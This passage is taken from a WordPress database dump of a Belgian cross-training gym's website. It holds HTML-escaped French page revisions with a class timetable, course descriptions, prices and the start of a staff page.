class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:39:35', '2013-07-04 19:39:35', '', 11, 'http://www.crosstrainingcenter.be/11-revision-107/', 0, 'revision', '', 0),
(322, 1, '2013-07-10 15:44:11', '2013-07-10 15:44:11', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:44:11', '2013-07-10 15:44:11', '', 11, 'http://www.crosstrainingcenter.be/11-revision-109/', 0, 'revision', '', 0),
(323, 1, '2013-07-10 15:45:00', '2013-07-10 15:45:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:45:00', '2013-07-10 15:45:00', '', 11, 'http://www.crosstrainingcenter.be/11-revision-110/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(324, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et 